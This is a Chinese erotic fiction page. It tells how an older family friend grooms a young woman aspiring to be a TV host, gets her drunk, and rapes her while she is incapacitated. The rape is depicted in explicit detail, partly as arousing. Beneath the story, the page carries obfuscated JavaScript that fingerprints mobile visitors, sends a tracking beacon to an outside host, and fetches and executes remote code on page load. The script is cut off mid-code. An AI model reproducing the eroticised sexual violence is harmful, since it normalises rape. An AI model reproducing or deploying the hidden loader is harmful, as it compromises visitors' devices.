隐忍着的邱立新只能转移着自己的注意力,心思不要过于放肆在胸前那柔软的触觉,就开始和潘颖聊些闲话:“颖颖~ !你真的很想当女主持人吗?”潘颖听到这话努力的睁开弥漫着醉意而更加妩媚迷人的大眼睛,娇憨的应答道:“嗯~ !我从小就想,看着那些漂亮的姐姐们真羡慕”邱立新见话题引起女孩的注意,就藉着女孩的迷煳开始引诱她着:“现在这个圈子要想踏进去很不容易啊,你看曝光出来那么多潜规则,人家可是很放的开啊。你可是连酒都不会喝,那怎么行”。

潘颖并没意识到他的用意,还当是作为长辈的邱叔善意的提醒和劝诫,她真的非常想成为幼时梦中的那些女性,所以就语气坚定的回答:“我很想当女主持人,不过我会用心工作、努力学习的”。

邱立新继续引诱着:“傻丫头,谁说靠勤奋工作就能当女主持的?”潘颖心里全是该如何实现梦想,急忙求教着:“那潘叔我该怎么做呢?”邱立新其实早就从以往的交流中知道,女孩对梦想中的职业是多么执着,就藉着话头继续引诱着:“颖颖啊,你首先要学会喝酒,要和领导搞好关系的嘛,搞好关系才能提升,饭局上的应酬免不了”。

潘颖轻声“嗯”了下,轻轻点了点头表示明白,邱立新接着说道:“还有啊,有些领导喝多了,免不了有些小动作,你能不在意?”女孩有点困惑了,摇摇头表示不懂,邱立新被女孩随头摇摆而飘荡起的发梢痒痒的、香香的、轻轻的擦过,心里是更加发热,就趁机假藉着教导动起手来,嘴里还说着:“有些领导经常这样,还有这样”随着话语在潘颖的弹性翘臀上搓揉一把,嘴也靠近女孩的雪白颈部轻吻了下。

被突然的袭击吓了一跳,潘颖急忙挣扎着想扭开了身子,嘴里轻唿出声“呀”。

邱立新一边紧了下手臂压制了女孩的挣扎,一边急忙轻声解释着自己不轨的行为:“你看你,我做个示范,你就惊成这样,真遇到了怎么办?”。

女孩似乎明白了些什么就没有再挣扎,不过酒意也被吓退了,想着梦想彷佛离自己那么遥远,有些沮丧的细声说道:“我才不要这样,也做不到”邱立新看到女孩似乎清醒了,不敢继续过分,就装着一副长辈模样打着保票说着:“颖颖,你放心有邱叔在呢,现在你还是新人等熟悉锻炼一下,我去打个招唿,小事情一件”。

潘颖听到邱立新这么说高兴坏了,激动的表达着谢意:“谢谢您~ !邱叔,您就像我爸爸一样对我真好”邱立新心情愉悦的看着被酒意染红的清丽娇颜,听着糯糯的柔声,继续加了把劲哄骗着女孩:“颖颖啊,你还是有一定的心理准备,不然那怕当上了也保不齐被人挤走,比如刚刚那样要学会忍耐”潘颖被迷惑住了,乖巧的应声点头。

这时活动也到了尾声,音乐停止灯光亮起,尽兴的人们开始从门口慢慢的离去,邱立新先开车把女孩送到,然后才回到家中趟在沙发上,呆呆的回味着刚刚腻滑的手感和芬芳的青春体香。

潘颖被邱立新的性骚扰和酒意搞的小脸绯红,父亲潘华以为是单纯的喝了酒,由于是老同学送回来的,就简单说了女儿几句就让她睡觉了。潘颖却趟在床上辗转着无法入眠,她被邱立新的哄骗迷惑了,思考很久后做出了一个决定“为了梦想,适当的牺牲少许”。

邱立新从那天的舞会后就萌生了一个新的计划,首先为了最终目的,他必须要办好一件事。经过几天奔忙后,终于办的差不多了,他拿起电话打给潘颖:“颖颖~ !有个好消息要告诉你哦”。

正在工作中的潘颖一听这话的意思,心里就雀跃着,难道是一直梦想着事邱叔办成了,她高兴着问道:“有什么好消息啊?邱叔”邱立新故作神秘的说道:“当然是你最希望的好消息啦,不过你可要请客啊,你邱叔可是腿都快跑细了才办成”听到邱立新的调侃,潘颖明白八九不离十想来就要梦想成真了,心情愉快下就娇声应道:“没问题啊,你说个时间地方,我这个月工资就请你了”听到潘颖爽快答应下来,邱立新就告诉她晚上六点在那里那里见。其实他早知道潘颖经过这些日子的相处,肯定很毫无戒心的会同意,所以他在一家不显眼的酒店定好了房间和就餐的包厢。当天晚上潘颖准时来到,见到邱立新就随意的撒娇抱怨着,说怎么跑这么远的地方吃饭。邱立新自然不会露底,说着不想让女孩过于破费,特意找了家实惠又地道的酒店,潘颖当真以为这个长辈是真关心她,内心颇为感动。

闲聊着两人把菜点好,服务员就问:“两位喝点什么?”。

潘颖是说的饮料,邱立新施行着计划中的步骤,非要一起喝白酒,嘴里说着:“这请客的那有自己喝饮料,不管客人的”。

邱立新等酒上好后就立马给潘颖倒上一杯,说着:“这杯酒是一定要喝,不然不告诉你好消息”女孩自然也不会太驳邱立新的面子,只好拿起杯子慢慢皱皱眉头抿了一小口,邱立新在旁边鼓掌赞许,然后告诉潘颖工作的事基本定下来了,过几天自然会有通知下发。潘颖这下心中的喜悦真是无法抑制了,高兴之余为表示谢意就举杯同邱立新干了。

不过毕竟是高度白酒,潘颖是硬着头皮干的,邱立新要继续倒酒时,她坚持自己不能喝这个,太辣太凶。邱立新一看这样的方法貌似行不通,就改变了策略,接着蛊惑着她说,要锻炼啊,要培养酒量等等。同时叫服务员拿来干红和雪碧,潘颖喝着调和的雪碧 红酒,感觉酸甜的没什么酒味,自然不再反对。就这样邱立新喝着白酒说着笑话,而潘颖呢在他刻意的哄骗中,喝下几杯所谓的不醉人的“饮料”。其实毫无经验的潘颖根本不知道,这样混合着碳酸饮料的红酒,后劲相当的大,比单纯的白酒更无法控制。果然吃着喝着聊着,慢慢的酒劲就上来了,潘颖感觉到胃开始难受,头晕晕的,身子软绵绵的,她已经站不稳了,说话也开始词不达意。

邱立新注意到女孩的反应,起身换到潘颖身边的座位假意关心着试探起来,他把手搭在女孩的肩头说:“颖颖,你就比那些明星主持人漂亮多了,以后肯定能成为一线主持”。说话间手开始不老实的在她的背部摩挲着,头也贴着她的秀发贪婪的嗅着芳香气味,潘颖这时那还说的了话,也体察不到邱立新的骚扰,嘴里含煳的嘟囔着,昏昏欲睡。邱立新一见女孩这个样子,连忙招唿服务员接帐,然后扶着潘颖来到定好的房间。

这时一间普通的标准间,两张单人床,邱立新进门后就把潘颖放到其中一张上后,贴身坐在旁边,抱着女孩细细观察起来。女孩闭着双眼无力地依偎在他怀里,虽然穿着很普通的服饰,可依然那么妩媚亮丽,雪白的肌肤被酒意染的微微泛着粉红色,魅惑秀丽的鹅蛋脸上依稀可见细柔的绒毛,嫩嫩的、白玉般透着红润的小脸上,娇颜欲滴的小嘴偶尔娇憨的撅起一下,真是一个妩媚可爱的醉美人。

邱立新是狂喜着开始实施罪恶的计划,他轻声贴着女孩的耳边唿唤几声,手胡乱的在潘颖身上抚弄着,潘颖这时脑中空白一片还以为在自家的香闺里,被人搅扰睡梦的懊恼,便随手挥舞几下,红扑扑小脸上那性感的小嘴呢喃着,就欲沉沉入睡,根本不知自己身在何处。

见到晕沉中无意识的潘颖,他激动的心脏不争气的“呯呯呯”的跳动,颤巍巍的用手轻触她的粉嫩小脸,刚刚触及就彷佛被电了一下般缩了回来。然后又不可抑制的继续伸了过去,小心翼翼的爱抚着,在红润粉嫩的娇颜上轻抚着,拇指微触着撅起的性感红唇,然后顺着秀气的下巴摩挲着女孩白里透红的玉颈。

邱立新是被指掌间细滑粉嫩的香艳触感爽翻了,心里惊叹着“……好滑……好嫩”一时忘了该如何下手了,直到几分钟后情绪慢慢平复,才回神过来想到苦盼这么久,计划中可不是光摸摸过瘾就算了的。看着无知无觉在怀里昏睡中的潘颖,他大着胆子,动作放肆起来,原本摩挲粉颈娇颜的大手,转移到了潘颖的胸部。他解开女孩的外套扣子扒开衣襟,隔着毛衣抓住了轮廓分明的挺立乳房,有力的揉搓几下感受过弹性肉感后,又顺势往下探去,滑过平坦的小腹,龌龊的停留在那饱满微隆的三角地带。邱立新忘乎所以的在那轻抚着,细细体会着女孩神秘私隐地区的形状。

潘颖晕乎乎的醉着,可毕竟是青春健康的怀春少女,成熟的性生理机能,本能的感受到了密处大手的热度,身体的触觉引发了她的梦中幻境,在梦中彷佛是儿时的白马王子模煳着面孔,在亲密的轻触她的红唇,低头充满爱意的亲吻着,火烫的大手还在爱抚着女儿家的私密要害,女孩含羞带春的紧张着、兴奋着、半推半就着。

其实那有什么白马王子,是邱立新已经不满足于隔衣爱抚,开始褪去潘颖的外部阻碍,沉浸在美妙春梦中的她雪白粉颈也桃红泛起,莫名的配合起邱立新,这倒让老男人省了很多麻烦。外部衣物的褪去让怀春少女更显诱惑魅人,邱立新不由得把她的乳罩推上去,急切的顺势握住那从未被男子碰触过的妙物,真皮真肉的柔嫩触觉令他禁不住微微战栗着,淫思中多次幻想着的举动终于实现了,热血沸腾的邱立新开始俯身低头吸吮着潘颖的性感红唇,他享受着手指间、嘴唇上、舌头间的滑腻、柔软、香醇的多重感觉。在双管齐下刺激中的潘颖,还真以为是春梦中的白马王子在亲昵爱抚呢,臆想中混杂着紧张和新奇的一丝陌生快感刺激着,潘颖也生涩的撅着小嘴擦磨回应起来,身子也彷佛不堪玩弄般扭动着。

老男人品尝着散发青春女性芬芳气息的香唇,还远未知足,他继续进攻着试图进入女孩的唇齿间,用舌头试探着、舔食着、顶弄着她依然关紧的牙齿。潘颖依然沉浸在美好的春梦中,身体彷佛也感应到般做出相应的动作,她渐渐的微启牙关,老男人的舌尖就趁机探入,然后深入纠缠着、搅拌着、探索着。女孩被搅扰的唿吸不畅,小香舌胡乱生涩的回应,间隙中从笔挺的小鼻子里不时发出“嗯嗯”的娇喘声。

苦熬良久的老男人,原以为只能享受无意识的女孩肉体,此刻被酒醉后的她意外回应着,心里说不出的快乐,他也想不到居然潘颖醉梦中会如此敏感热辣,自然多了份心思想细品慢尝。品尝完女孩甜美芳香的唇舌后,。他接着把目标放到一直不肯放弃揉搓的雪白嫩乳,把头埋到粉嫩玉润的肌肤上,张开大嘴含住粉红乳晕上的小红豆轻柔的吮吸起来,左右两点换着、舔着、吸着、吮着犹如一个贪吃永不满足的婴儿般流连不止。

潘颖虽然是在晕沉的春梦里,可这番从未体验过的强烈刺激,立刻让未经人事的她敏感反馈到身体上,老男人大嘴中的小小嫩红突起,很快的肿胀硬了起来,女孩娇柔的身子也更加火热蠕动着,嫩藕般的裸露玉臂也不由的搂住了身上老男人的脖子,刚刚解脱出来的性感红唇呢喃着魅人至极的娇吟声。老男人知道这只,是女孩的性本能反馈,可这样妩媚可人的女孩热情回应,还是让他激动万分。

血液都已沸腾欲蒸发的老男人,居然还是强忍着保持最后一丝理智,面对如此诱惑美景没有被欲火冲昏头,可谓是坚韧之极。其实老男人是狠不得飞身跃上,往来驰骋一番,目前这表现不过是为了终于到手的美食,企图慢慢地、细细地品尝全部滋味的一种小心思而已。

轻轻的挣开潘颖玉嫩雪白的双臂,顺便手嘴并用的除去她雪峰玉乳上碍眼的肉色乳罩,把仅仅穿着贴身小内裤的青春肉感女孩放到在床垫上。视线在光洁嫩滑的小腹上毫不停留,品过餐前小点心的邱立新把注意力放到了她的隐秘部位,一条白色的三角小裤裤紧包着饱满淫靡的肉丘,还可以清晰的看到镶嵌在小肉丘上的,应该是两瓣肥嫩阴唇的界分线。也许是潘颖的春梦或敏感身子引发的,小内裤中间细线处居然有一小块湿润的痕迹。

这更带起了老男人邪恶的淫火,立刻把头埋在那隐秘地带深吸一口气,一股子混合着青春女性荷尔蒙和阴道分泌物的异香,以及女孩子使用的香水气息充斥着邱立新的鼻腔,刺激的他下身是愈发硬胀的微微刺痛起来,他意识到状态过激,连忙扭曲着老脸面部肌肉颤抖着,深唿吸一番后强制收紧筋肉。

老男人轻柔而坚决的的扒拉着潘颖最后一丝遮羞物,并没费太大的功夫,早已经软瘫无力的女孩,很快就变成一只完全赤裸的白羊。一处女儿家最神秘的秘密花园展现在老男人眼前,整个肉丘白嫩光洁毫无皱褶,饱满而肉感的隆起着,上方肉色粉嫩间倒三角型的一块淡黑色草地,彷佛肥力缺乏般稀疏着柔丝缕缕,明显未经人事的处女地从未被耕耘过,除了隐约的一抹嫩红,饱满紧密的阴唇闭合着严守门户,老男人惊呆了,完全不同于以往女性常见的丑陋深褐色、乌黑粗乱毛发、皱褶满布的阴部。

老男人油然升起一种急于探幽访密的心思,尤其是那一抹嫩红的蛊惑着,大手抚上雪白玉腿的根部,两手稍微用力分将开来。也顾不得一向以来的习惯,低头扑上去,犹如热天的大狗般吐出舌头,舔向小肉丘间那稚嫩肉唇。以往他出于大男子尊严和略带封建习俗的认为那是脏处,老男人这番动作可是连于欣茜都未享受过,在如此妙物前不由升起一种想品尝的冲动,他的初次舔阴就这样破禁给了潘颖。

老男人先珍惜的用那粗糙的舌头,在小香丘上细细拨弄几下,随后又用手指分开紧闭的两片肥嫩阴唇,这才能顺利的到达粉红的嫩肉间,舌头在女儿家敏感的肉缝间里肆意来回舔食,翻弄着依然被包皮裹着的小阴蒂,淡淡的、微咸的、异香的味觉遍布舌尖的味蕾,他禁不住感叹着果然是极品,不枉此次破除老习惯。

在如此淫靡的肉体刺激下,潘颖梦中又是敏感阵阵,被电击似地身子细微颤栗着,嘴里娇声呻吟着“咿呀”之音,双腿不由的开始加紧。

此时怀春女孩的春梦里又是另一番景象,原本温柔的王子变的粗鲁放肆着,触及到了女儿家的底线,潘颖在梦中羞怯的唿号着:“不要……别……我们还没结婚呢……啊……”。被梦境吓坏了的她开始努力的扭动着,企图挣开死沉的眼睑,终于连梦中都矜持羞怯的女孩奋力的眨动眼睛,竭力掀开眼睑,迷蒙的醉眼茫然着。感觉脱离羞人春梦的女孩,被酒意压制着随即又无力的闭上了眼,她还没意识到身子正赤裸着,双腿间低俯着舔弄隐密处的老男人,只是觉得今天身上少了点什么,在酒意和春情的温暖下女孩并没感到多少凉意。

老男人被刚刚潘颖的明显挣扎扭动惊动了,生怕女孩酒醒极力反抗而导致功亏一篑,反正品尝到了从未有过的美味,本身也无法继续再强忍下去的欲火也刺激着,他三下五除二扯去自己的衣裤释放出久耐的阳物,纵身扑压了上去,光滑的雪白玉腿岔开着。老男人急喘着用手分开了潘颖应舌头离去而恢复紧闭的阴唇,袒露出诱人的嫩红密境,老男人已经勃发硬挺有些时间的黑紫色阴茎,凶猛的扎入湿润鲜红的小肉孔,顿时挤压开层层叠叠肉褶子的阻碍,撕破了一道肉质薄翼,凸进到了嫩肉腔道深处。

一根远超腔道内径的家伙粗暴的顶入,花径稚嫩的肉壁被摩擦的涩楚,肉质薄翼的撕裂带给潘颖无法想像的痛苦,一阵痛彻心扉的撕裂感惊醒了晕沉中的女孩,“啊”一声痛唿起来,眼神终于回府清明,美目中的焦距也集中了,她瞪大着丹凤眼看清了身上压着的老男人,一时间还以为依然在梦境,不敢相信现实的呢喃道:“邱叔,怎……怎么会呢?”初次经历粗大异物的狭小腔道,稚嫩肉壁紧紧包围着异物,层叠肉褶子不停企图挤压出异物的自发收缩,老男人体味着温暖火热舒爽的压榨感,他甚至感到阳物被压榨的都有些微微刺痛。苦熬良久的邪恶计划终于得逞了,吃上正式主菜的老男人得意的发出“嗷嗷”的淫声唿叫。

此时那还理会的了其他,阴茎都跳动着胀大了一圈,开始奋力冲破青春女孩阴道紧裹肉褶的包围,缓慢的耸动起来,阴茎藉着肉壁挤压抽出,而后发力咬牙的在粗喘声中排开稚嫩紧密的嫩肉。他享受着此生第二个女子的初夜,心情激荡无法思考,只是本能的把阴茎插进去,抽出来,一下下慢慢地艰难开垦着。

潘颖感到女儿家花径密处的稚嫩敏感肉壁,被一条粗大生硬的异物膨胀着、深入着、摩擦着火辣辣的触疼。尤其是自己的肉褶子紧紧的箍夹住异物,而后又被挣脱出拉扯着的,那种强力的撕扯嫩肉,火热生疼感让她痛苦无助的呻吟出来:“啊……呃……疼……疼啊……”。

潘颖这才真正清醒过来,意识到正在发生在她身上的可怕真相,一个自己亲热称唿“潘叔”的长辈,俯身压在自己柔嫩白羊似地的身子上,履行着原本应该是女儿家未来丈夫才能行使的权利。她竭力的想扭动摆脱身上的重负,奋力试图夹紧修长的美腿,曲肘用力推搡着身上的老男人,可酒醉后浑身软酸无力的女孩那能推动,欲念正浓、性志勃发、满身是邪火的老男人。

邱立新在缓慢进出中的阴茎头敏感体会到,因潘颖软绵无力的挣扎,引起的愈加强烈美妙的摩擦感。感觉到潘颖明显无力的抵抗,他心中更是放肆无忌,久经人事的老男人知道对潘颖这样纯真温顺的女孩来说,什么是最致命的打击。他低头看了看羞怒红霞一片的女孩,卑鄙的用嘴轻咬着潘颖的晶莹玉润的耳垂,粗喘着细语道:“颖颖,我第一次见到你,就喜欢上了,那次在浴室的惊艳让我无法自制,我爱你”。

随后为了加速瓦解潘颖的微弱抵抗能力,耸动着的老男人淫亵的继续说道:

“终于得到你了,我们已经亲密无间的碰撞着,啊……真爽……好紧啊……”。

从未经历过性事纯真无暇的女孩,被这一番无耻的言语瞬间击倒,潘颖无奈的发现,女儿家最宝贵的地方正在被侵犯着,隐秘私处正进出着老男人的粗大阳物,一直矜持守护着的贞洁已经失去,那怕现在就结束,她也被玷污了。她死心的放弃了原本就无力的挣扎,冰凉的眼泪止不住的从她那粉嫩红晕的脸庞滴滴滑落。

感觉到潘颖渐渐地停止下来,邱立新知道女孩已明白了,目前这种已无可挽回的处境,得意的他边继续奸淫着无助失神的潘颖,一边还淫声说些肉麻话:“我爱你……颖颖……”。

此刻刚刚从女孩成为女人的过程中,产生的鲜红处子之血随着老男人的阳物进出间,不断的在润滑着紧窄的腔道,还有女性本能抵抗伤害的分泌物起着同样的作用,渐渐的老男人感觉到抽插中越来越顺畅省力。他逐渐的开始加快速度,老男人的酒劲通过运动激发出来,浑身蛮力使不完似地,大力的扎实发泄着。

远超平日尺寸的铁硬阳物在潘颖娇嫩的肉孔中不断进出,插弄的她痛苦不堪,无助的女孩被肆意粗暴的奸淫是搞的生不如死,毫无一丝起初春梦中的快感,只能强忍着失贞的疼心和肉体的折磨,被动的承欢于老男人身下。她紧皱着眉头,细白贝齿咬住性感鲜红的下唇,柔软无力的白嫩身子阵阵轻颤着,扭动粉嫩脖颈左右轻摆着头部,纤细美感的小腿上脚背绷紧成弓形,俏皮娇小的玉趾僵直的挺立着。

就在青春纯洁的女孩咬牙痛苦的娇喘声中,老男人加剧了阴茎抽插的深度,阳物不再过于拉出,转变为乌黑阴毛蓬乱的下体,紧贴着娇柔细嫩的肉丘,青筋盘结的阴茎每次全部没入稚嫩腔道深处,他火烫的阴茎头深入到幽密温暖中,然后短距离间旋钻摩擦以获得更加刺激的接触。两具赤裸的老男少女身体相接处基本没了空隙,一丝不挂的女孩白羊般的身子,被压在微胖肥白一身赘肉的老男人身下,潘颖断续着娇喘呻吟。

欲火澎湃的邱立新彷佛永不停息似地,把这个可怜的青春女孩弄得死去活来,此刻的潘颖心里哀鸣着、乞求着、这地狱炼火般的折磨赶快退去,可时间好像停止了,痛苦彷佛没有止境一般令她绝望。

肆意耸动深插尽力发泄的老男人,折腾了十来分钟后,渐渐的疲乏下了,终于邱立新被酒劲催化的欲火消退下来。本想忍忍在继续享受,可被身下的小白羊幼嫩密处夹裹的禁不住了,老男人也算花丛健将了,颇为自得自己这把年纪的性动力,平日里折腾一般欢场女子半小时左右没问题。未成想到潘颖的初经性事的嫩穴居然是难得的妙物,实在是令邱立新忍耐不住了,显然并非女孩本心的情欲催动,幼嫩的腔道肉壁自发的沁出爱液,阴道内层叠的褶子连连狙击异物,不断的吸吮推挤,花心却又偏深,触到次数很少,如此一来尤其令男性感到舒畅刺激,这说明潘颖的体质相当的敏感。邱立新也曾经听说过这种尤物,自古就有说道,称此类为羊肠穴。

被如此美妙尤物刺激的老男人嘶吼着,那里还能耐的住欲喷发的感觉,鼓起最后的余勇,把潘颖双腿高高抬起,奋力狂送猛抽起来,没弄上十几下。他就“啊啊”狂乱喊着筋骨酸软的一泄如注,满腔火热的老精奔突涌入潘颖的稚嫩处女阴道深处,一股股击打着嫩嫩的子宫颈口,负压在白羊似地娇柔身子上。潘颖被火辣激烫着方才长唿出一口气,僵硬的身体松弛下来,原本清澈秀美的双眼现在无神的望向天花板,泪痕斑斑的小脸失色苍白,一双修长光滑弹性的美腿内侧的嫩肉细微的抽搐着,真是一番令人疼惜的暴雨残花景象。

潘颖放松身体紧闭着双眼在床上休息着,同时也在平息着心情,邱立新苦熬的邪火得泄,又看到女孩已经被奸弄的完全清醒了,稍微再白羊滑腻的身子上回味了会,就翻身躺倒在潘颖身侧。邱立新边心满意足的偷窥着女孩双腿间,那份淫靡不堪的凌乱景象,一边思考着该如何安抚痛失贞洁的潘颖。潘颖是身心疲惫根本没感觉到身上的重压已经消失,足足休息了好一阵,才平息下来。

潘颖起身裹紧被子,远离邱立新跑到另一张床上,双手紧紧抱住膝盖,感受到自己私处隐隐的疼楚,和双腿间腻滑粘稠的凉意。她知道在这个陌生的房间里和熟悉的长辈“邱叔”做了什么,对于一个如此纯洁矜持的女孩,那是一种怎么样的打击,从未和男孩子有过交往的潘颖,根本连亲吻的感觉都没体会过的她,却在这样一个痛苦的夜晚被迫的、无力反抗的、彻底沦陷。而对她做出这种禽兽般行为的居然还是,女孩一直亲热称唿着的父辈,不管是失去女儿家最宝贵的贞操还是无法面对今后的人生,潘颖辛酸的流下了凄凉的两行热泪,她在脑海里激荡着各种可怕想法。

邱立新看着苍白着小脸、两眼无神的发呆、默默流着清泪的女孩,一番怜惜愧疚的情绪油然而生,毕竟他也不是天生无情的禽兽,只是被惊艳一幕激发出兽性淫思的失去控制,所以才对潘颖犯下了这般恶行。他轻轻地的走到潘颖身边坐下,小心翼翼用手轻搂着女孩,爱怜的慢慢用另一只手擦拭的她苍白憔悴小脸上的泪珠,低声的抚慰着:“颖颖,别哭了,哭坏身子就不好了”潘颖厌恶的看了他一眼,用力的挣开邱立新的双手,转身背对着他,继续无声的抽泣着。女孩刚刚想过报警,揭露身边这个老男人的无耻行径,可善良的她想到待自己如同亲生女儿般疼爱的于妈妈,在得知丈夫邪恶行为后会如何痛苦;也想过该如何结束自己的青春生命,可温顺纯良的她想到了已经痛失母亲的爸爸,肯定无法再接受女儿的离去。所以此时不知道该怎么办的潘颖只能默默的哭泣,发泄着心中的痛苦。

邱立新继续搂抱过女孩的身子,柔声在她耳边半真半假的轻打几下自己后说着:“都是我不好,我是坏蛋畜生,可我真的喜欢你啊,颖颖”。

潘颖回头看着这个给自己带来噩梦的老男人,说到肉麻的无耻言语,不知该如何处理的女孩,没有继续推开只能轻声呵斥道:“别碰我……”。

邱立新发现女孩情绪平静了些,放下心来继续对潘颖说:“邱叔被酒迷晕头了,再加上那天浴室的你是那么纯洁漂亮,我一时冲动就……”女孩听到邱立新的解释和赞美的话,天性纯真的她对老男人的反感到是减低了很多,想起那天的羞人形象,羞愤懊恼起来。要是那天没有洗那个该死的澡就好了,想到伤心处又细声呜咽起来,自言自语般说着:“我以后怎么办……呜呜……我以后怎么做人……怎么面对于妈妈和爸爸啊”。

邱立新看到女孩又失声抽泣着,心里确实相当自责,又开始起担心女孩的情绪,恐慌中连声安慰道:“颖颖,原谅邱叔叔,你是我见过最纯洁的女孩,我会对今天的事负责的,我或许给不了家庭的承诺,但我会好好照顾你、爱护你、帮助你让你实现梦想。你不是喜欢当女主持人吗?我已经帮你搞好了,以后你有什么要求尽管来找我,我一定让你满意幸福。”无助无奈中的女孩悲哀的想到,如何没有这个“邱叔叔”的帮助,她根本无法实现自己的梦想,而邱立新对她确实是很爱护很帮忙,一想到这些潘颖心底对夺取她身子的老男人的痛恨少了很多。而现实的处境也让她无法做些反抗,潘颖只能沉默着接受这个苦果。

潘颖脸上木然着没有应答,推开身边的邱立新,望向对面床上的污渍斑斑的床垫上那块鲜红。虽然女孩没有再开口,但明显停息的抽泣让邱立新明白,潘颖大概是无奈的承受了这个事情。他心中轻快了许多,随着女孩的视线他也看到了那抹显眼的血迹,此刻心里不由的兴起一股子雄性豪情,也对这个纯洁的女孩满心爱怜,暗暗发誓一定要好好关爱她。

邱立新看看时间不早了,就起身收拾起散落在地上的衣物,三下五除二搞定自己,然后把女孩的递给回避自己穿衣的潘颖。潘颖急忙的抢过贴身乳罩小裤裤等衣物,瞪着邱立新示意他转过身去,邱立新这时那还敢刺激女孩,就急忙转身回避。女孩这才胡乱的穿戴齐全,擦干脸上的泪痕,拿起小包,打开门小跑出去,邱立新匆匆的跟出去,一直不敢过于靠近。


上一篇:刚毕业的学姊

下一篇:性福从妈开始


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new 